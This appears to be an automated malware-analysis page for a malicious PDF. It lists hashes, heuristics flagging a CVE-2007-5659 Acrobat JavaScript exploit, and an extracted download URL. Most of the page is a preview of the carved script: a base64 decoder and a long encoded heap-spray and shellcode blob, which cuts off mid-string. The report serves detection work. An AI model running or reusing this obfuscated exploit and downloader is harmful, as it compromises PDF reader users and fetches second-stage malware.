Malicious PDF — malware analysis report

Static analysis result for SHA-256 d95f2464c1b9024b…

MALICIOUS

PDF

3.0 KB First seen: 2012-07-12
MD5: dbd0ff8686f2ebad5931c1f5226dbc0f SHA-1: ba361cc9f4ce2d3227d9f1631852a4d6a42e8ec1 SHA-256: d95f2464c1b9024b7de0e7b5371904f9a9c75c57f714ccb98b9b284ba186ddf0
258 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File

The PDF document contains embedded JavaScript, indicated by multiple heuristics including PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flags this PDF as malicious (0.999975). The embedded JavaScript stream, named 'javascript_obj0009_000.js', is likely responsible for downloading and executing a secondary payload, a common technique for initial access.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
          output = output + String.fromCharCode(chr1);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.curah.net/1/getexe.php?spl=pdf_exp Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js pdf-javascript-stream PDF /JS object 9 at offset 0xD6 20977 bytes
SHA-256: cbfc8671ae1e4f26fad7cb0e35a0c1c0815fef5fdb90183da8130489a1bf4389
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var keyXXXStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function decode64(input) {
   var output = "";
   var chr1, chr2, chr3;
   var enc1, enc2, enc3, enc4;
   var i = 0;
   input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
   do {
      enc1 = keyXXXStr.indexOf(input.charAt(i++));
      enc2 = keyXXXStr.indexOf(input.charAt(i++));
      enc3 = keyXXXStr.indexOf(input.charAt(i++));
      enc4 = keyXXXStr.indexOf(input.charAt(i++));
      chr1 = (enc1 << 2) | (enc2 >> 4);
      chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
      chr3 = ((enc3 & 3) << 6) | enc4;
      output = output + String.fromCharCode(chr1);
      if (enc3 != 64) {
         output = output + String.fromCharCode(chr2);
      }
      if (enc4 != 64) {
         output = output + String.fromCharCode(chr3);
      }
   } while (i < input.length);
   return output;
}
var aasd = decode64("DQogdmFyIEF5ZWNVVlpIRiA9IG5ldyBBcnJheSgpOw0KIHZhciBZdDdhUkV6V1E7DQogdmFyIGxhdmUgPSBldmFsOw0KICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNDUlNDclNzklMzIlNGIlMzIlMzglNjMlNTQlMjglNjclNjclNmUlNTMlMzclNmMlMzglNmElNDclMmMlMjAlNGMlNDklNTglNzMlNGElNTElNzklNzQlNzMlMjklMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNjclNjclNmUlNTMlMzclNmMlMzglNmElNDclMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlMmElMjAlMzIlMjAlM2MlMjAlNGMlNDklNTglNzMlNGElNTElNzklNzQlNzMlMjklMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjclNjclNmUlNTMlMzclNmMlMzglNmElNDclMjAlMmIlM2QlMjAlNjclNjclNmUlNTMlMzclNmMlMzglNmElNDclM2IlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlNjclNjclNmUlNTMlMzclNmMlMzglNmElNDclMjAlM2QlMjAlNjclNjclNmUlNTMlMzclNmMlMzglNmElNDclMmUlNzMlNzUlNjIlNzMlNzQlNzIlNjklNmUlNjclMjglMzAlMmMlMjAlNGMlNDklNTglNzMlNGElNTElNzklNzQlNzMlMjAlMmYlMjAlMzIlMjklM2IlMjAlMjAlMjAlMjAlMjAlNzIlNjUlNzQlNzUlNzIlNmUlMjAlNjclNjclNmUlNTMlMzclNmMlMzglNmElNDclM2IlMjAlMjAlMjAlN2QlMjAlMjAiKSk7ICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNjklNzMlNGYlNjUlNGQlNjUlNjQlNGUlN2ElMjglNmIlNTUlNjMlMzklNWElNDklNzYlMzMlNTAlMjklMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNmIlNTUlNjMlMzklNWElNDklNzYlMzMlNTAlMjAlM2QlM2QlMjAlMzAlMjklMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzglMzAlMzklNzklNmQlNTIlNTYlNjUlNmIlMjAlM2QlMjAlMzAlNzglMzAlNjMlMzAlNjMlMzAlNjMlMzAlNjMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzQlNjQlNjUlNmYlNzIlNTclNDQlNTYlNzMlMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzclMzclMzIlNDYlMjUlNzUlMzclMzclMzclMzclMjUlNzUlMzYlMzMlMzIlNDUlMjUlNzUlMzclMzIlMzclMzUlMjUlNzUlMzYlMzglMzYlMzElMjUlNzUlMzYlNDUlMzIlNDUlMjUlNzUlMzclMzQlMzYlMzUlMjUlNzUlMzMlMzElMzIlNDYlMjUlNzUlMzYlMzclMzIlNDYlMjUlNzUlMzclMzQlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzYlMzglMzclMzAlMjUlNzUlMzMlNDYlMzclMzAlMjUlNzUlMzclMzAlMzclMzMlMjUlNzUlMzMlNDQlMzYlNDMlMjUlNzUlMzYlMzQlMzclMzAlMjUlNzUlMzUlNDYlMzYlMzYlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzAlMzAlMzclMzAlMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlNjklNjYlMjglNmIlNTUlNjMlMzklNWElNDklNzYlMzMlNTAlMjAlM2QlM2QlMjAlMzElMjklMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzglMzAlMzklNzklNmQlNTIlNTYlNjUlNmIlMjAlM2QlMjAlMzAlNzglMzMlMzAlMzMlMzAlMzMlMzAlMzMlMzAlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzQlNjQlNjUlNmYlNzIlNTclNDQlNTYlNzMlMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzclMzclMzIlNDYlMjUlNzUlMzclMzclMzclMzclMjUlNzUlMzYlMzMlMzIlNDUlMjUlNzUlMzclMzIlMzclMzUlMjUlNzUlMzYlMzglMzYlMzElMjUlNzUlMzYlNDUlMzIlNDUlMjUlNzUlMzclMzQlMzYlMzUlMjUlNzUlMzMlMzElMzIlNDYlMjUlNzUlMzYlMzclMzIlNDYlMjUlNzUlMzclMzQlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzYlMzglMzclMzAlMjUlNzUlMzMlNDYlMzclMzAlMjUlNzUlMzclMzAlMzclMzMlMjUlNzUlMzMlNDQlMzYlNDMlMjUlNzUlMzYlMzQlMzclMzAlMjUlNzUlMzUlNDYlMzYlMzYlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzAlMzAlMzclMzAlMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlNjklNjYlMjglNmIlNTUlNjMlMzklNWElNDklNzYlMzMlNTAlMjAlM2QlM2QlMjAlMzIlMjklMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzQlNjQlNjUlNmYlNzIlNTclNDQlNTYlNzMlMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzclMzclMzIlNDYlMjUlNzUlMzclMzclMzclMzclMjUlNzUlMzYlMzMlMzIlNDUlMjUlNzUlMzclMzIlMzclMzUlMjUlNzUlMzYlMzglMzYlMzElMjUlNzUlMzYlNDUlMzIlNDUlMjUlNzUlMzclMzQlMzYlMzUlMjUlNzUlMzMlMzElMzIlNDYlMjUlNzUlMzYlMzclMzIlNDYlMjUlNzUlMzclMzQlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzYlMzglMzclMzAlMjUlNzUlMzMlNDYlMzclMzAlMjUlNzUlMzclMzAlMzclMzMlMjUlNzUlMzMlNDQlMzYlNDMlMjUlNzUlMzYlMzQlMzclMzAlMjUlNzUlMzUlNDYlMzYlMzYlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzAlMzAlMzclMzAlMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNmYlMzAlNDclNzIlNmUlNmIlNTQlNzclNGElMjAlM2QlMjAlMzAlNzglMzQlMzAlMzAlMzAlMzAlMzAlM2IlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNmUlNzMlNGQlNDIlNWElNTYlNGElNTglNDklMjAlM2QlMjAlNzQlNjQlNjUlNmYlNzIlNTclNDQlNTYlNzMlMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlMmElMjAlMzIlM2IlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNGMlNDklNTglNzMlNGElNTElNzklNzQlNzMlMjAlM2QlMjAlNmYlMzAlNDclNzIlNmUlNmIlNTQlNzclNGElMjAlMmQlMjAlMjglNmUlNzMlNGQlNDIlNWElNTYlNGElNTglNDklMjAlMmIlMjAlMzAlNzglMzMlMzglMjklM2IlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjclNjclNmUlNTMlMzclNmMlMzglNmElNDclMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlMzklMzAlMzklMzAlMjUlNzUlMzklMzAlMzklMzAlMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlNjclNjclNmUlNTMlMzclNmMlMzglNmElNDclMjAlM2QlMjAlNDUlNDclNzklMzIlNGIlMzIlMzglNjMlNTQlMjglNjclNjclNmUlNTMlMzclNmMlMzglNmElNDclMmMlMjAlNGMlNDklNTglNzMlNGElNTElNzklNzQlNzMlMjklM2IlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNmElMzQlNzclNTYlMzElNjElMzAlNzAlNTIlMjAlM2QlMjAlMjglNzglMzAlMzklNzklNmQlNTIlNTYlNjUlNmIlMjAlMmQlMjAlMzAlNzglMzQlMzAlMzAlMzAlMzAlMzAlMjklMjAlMmYlMjAlNmYlMzAlNDclNzIlNmUlNmIlNTQlNzclNGElM2IlMjAlMjAlMjAlMjAlMjAlNjYlNmYlNzIlMjglNzYlNjElNzIlMjAlNjUlMzMlNzclNWElNzUlMzYlNzAlNmMlNzQlMjAlM2QlMjAlMzAlM2IlMjAlNjUlMzMlNzclNWElNzUlMzYlNzAlNmMlNzQlMjAlM2MlMjAlNm